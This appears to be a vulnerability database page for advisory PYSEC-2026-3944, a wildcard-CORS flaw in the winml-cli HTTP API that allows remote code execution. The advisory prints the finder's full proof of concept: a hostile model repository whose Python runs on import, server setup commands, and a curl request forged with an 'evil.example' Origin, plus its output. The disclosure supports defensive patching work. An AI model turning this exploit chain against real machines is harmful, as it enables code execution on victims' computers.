GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3944

Vulnerability from pysec - Published: 2026-09-10 09:45 - Updated: 2026-09-10 11:02
VLAI
Details

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.

Reported Repro Steps:

  1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,*a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,*a,k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1

Impacted products
Name purl
winml-cli pkg:pypi/winml-cli

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "winml-cli",
        "purl": "pkg:pypi/winml-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.2.0",
        "0.3.0",
        "0.3.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84452",
    "GHSA-96p9-rh4f-92cf"
  ],
  "details": "Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the \u0027serve/cli_api.py\u0027 component of the \u0027winml-cli\u0027 project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets \u0027allow_origins\u0027 to a wildcard, allowing any website to interact with the endpoint. This, combined with the \u0027--trust-remote-code\u0027 flag in \u0027build\u0027 and \u0027config\u0027 commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the \u0027trust_remote_code\u0027 parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That\u0027s defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim\u0027s browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command\u0027s exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc \u0026\u0026 cd ~/winml-poc \u0026\u0026  mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level \u2192 runs on import)\n\ncat \u003e /tmp/poc/evil/pwn/config.json \u003c\u003c\u0027EOF\u0027\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat \u003e /tmp/poc/evil/pwn/configuration_pwn.py \u003c\u003c\u0027EOF\u0027\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n    f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime(\u0027%F %T\u0027)}\\n\"\n            f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n    model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat \u003e /tmp/poc/serve.py \u003c\u003c\u0027EOF\u0027\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n    def __init__(s,*a,**k): pass\n    def start(s,*a,**k): pass\n    def stop(s,*a,**k): pass\n    def poll(s,*a,**k): return {}\n    def sample(s,*a,**k): return {}\n    def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc \u0026\u0026 PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py \u003e/tmp/poc/log 2\u003e\u00261 \u003c/dev/null \u0026\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H \u0027Origin: https://evil.example\u0027 -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}\u0027 \\\n | grep -iE \u0027^HTTP|^access-control-allow-origin\u0027\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini  host=Shrinivasan  pid=11616",
  "id": "PYSEC-2026-3944",
  "modified": "2026-09-10T11:02:36.889387Z",
  "published": "2026-09-10T09:45:01.161894Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/pull/1321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/winml-cli"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/winml-cli"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-96p9-rh4f-92cf"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Windows ML CLI: CORS misconfig enables localhost RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…